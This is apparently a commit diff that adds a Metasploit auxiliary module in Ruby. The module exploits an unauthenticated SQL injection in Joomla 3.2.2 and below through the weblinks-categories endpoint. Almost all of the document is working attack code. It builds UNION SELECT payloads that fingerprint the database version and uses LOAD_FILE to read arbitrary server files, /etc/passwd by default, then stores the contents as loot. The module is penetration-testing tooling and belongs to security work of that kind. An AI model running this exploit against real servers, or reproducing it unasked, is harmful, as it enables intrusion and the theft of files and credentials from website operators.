|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | + |
| 7 | +require 'msf/core' |
| 8 | + |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read', |
| 17 | + 'Description' => %q{ |
| 18 | + Joomla versions 3.2.2 and below are vulnerable to an unauthenticated SQL injection |
| 19 | + which allows an attacker to access the database or read arbitrary files as the |
| 20 | + 'mysql' user. This module will only work if the mysql user Joomla is using |
| 21 | + to access the database has the LOAD_FILE permission. |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module |
| 27 | + ], |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + ['EDB', '31459'], |
| 31 | + ['URL', 'http://developer.joomla.org/security/578-20140301-core-sql-injection.html'] |
| 32 | + ], |
| 33 | + 'DisclosureDate' => 'Mar 2 2014' |
| 34 | + )) |
| 35 | + |
| 36 | + register_options( |
| 37 | + [ |
| 38 | + OptString.new('TARGETURI', [ true, "Base Joomla directory path", '/']), |
| 39 | + OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]), |
| 40 | + OptInt.new('CATEGORYID', [true, "The category ID to use in the SQL injection", 0]) |
| 41 | + ], self.class) |
| 42 | + |
| 43 | + end |
| 44 | + |
| 45 | + def check |
| 46 | + |
| 47 | + front_marker = Rex::Text.rand_text_alpha(6) |
| 48 | + back_marker = Rex::Text.rand_text_alpha(6) |
| 49 | + |
| 50 | + payload = datastore['CATEGORYID'].to_s |
| 51 | + payload << ") UNION ALL SELECT CONCAT(0x#{front_marker.unpack('H*')[0]}," |
| 52 | + payload << "IFNULL(CAST(VERSION() " |
| 53 | + payload << "AS CHAR),0x20),0x#{back_marker.unpack('H*')[0]})#" |
| 54 | + |
| 55 | + resp = send_request_cgi({ |
| 56 | + 'uri' => normalize_uri(target_uri.path, 'index.php', 'weblinks-categories'), |
| 57 | + 'vars_get' => { |
| 58 | + 'id' => payload |
| 59 | + } |
| 60 | + }) |
| 61 | + |
| 62 | + if !resp or !resp.body |
| 63 | + return Exploit::CheckCode::Safe |
| 64 | + end |
| 65 | + |
| 66 | + if resp.body =~ /404<\/span> Category not found/ |
| 67 | + return Exploit::CheckCode::Unknown |
| 68 | + end |
| 69 | + |
| 70 | + version = /#{front_marker}(.*)#{back_marker}/.match(resp.body) |
| 71 | + |
| 72 | + if !version |
| 73 | + return Exploit::CheckCode::Safe |
| 74 | + end |
| 75 | + |
| 76 | + version = version[1].gsub(front_marker, '').gsub(back_marker, '') |
| 77 | + print_good("Fingerprinted: #{version}") |
| 78 | + return Exploit::CheckCode::Vulnerable |
| 79 | + end |
| 80 | + |
| 81 | + def run |
| 82 | + front_marker = Rex::Text.rand_text_alpha(6) |
| 83 | + back_marker = Rex::Text.rand_text_alpha(6) |
| 84 | + file = datastore['FILEPATH'].unpack("H*")[0] |
| 85 | + catid = datastore['CATEGORYID'] |
| 86 | + |
| 87 | + payload = catid.to_s |
| 88 | + payload << ") UNION ALL SELECT CONCAT(0x#{front_marker.unpack('H*')[0]}" |
| 89 | + payload << ",IFNULL(CAST(HEX(LOAD_FILE(" |
| 90 | + payload << "0x#{file})) AS CHAR),0x20),0x#{back_marker.unpack('H*')[0]})#" |
| 91 | + |
| 92 | + resp = send_request_cgi({ |
| 93 | + 'uri' => normalize_uri(target_uri.path, 'index.php', 'weblinks-categories'), |
| 94 | + 'vars_get' => { |
| 95 | + 'id' => payload |
| 96 | + } |
| 97 | + }) |
| 98 | + |
| 99 | + if !resp or !resp.body |
| 100 | + fail_with("Server did not respond in an expected way. Verify the IP address.") |
| 101 | + end |
| 102 | + |
| 103 | + if resp.body =~ /404<\/span> Category not found/ |
| 104 | + fail_with("The category ID was invalid. Please try again with a valid category ID") |
| 105 | + end |
| 106 | + |
| 107 | + file = /#{front_marker}(.*)#{back_marker}/.match(resp.body) |
| 108 | + |
| 109 | + if !file |
| 110 | + fail_with("Either the file didn't exist or the server has been patched.") |
| 111 | + end |
| 112 | + |
| 113 | + file = file[1].gsub(front_marker, '').gsub(back_marker, '') |
| 114 | + file = [file].pack("H*") |
| 115 | + |
| 116 | + if file == '' or file == "\x00" |
| 117 | + fail_with("Either the file didn't exist or the database user does not have LOAD_FILE permissions") |
| 118 | + end |
| 119 | + |
| 120 | + path = store_loot("joomla.file", "text/plain", datastore['RHOST'], file, datastore['FILEPATH']) |
| 121 | + |
| 122 | + if path and path != '' |
| 123 | + print_good("File saved to: #{path}") |
| 124 | + end |
| 125 | + end |
| 126 | +end |
| 127 | + |
0 commit comments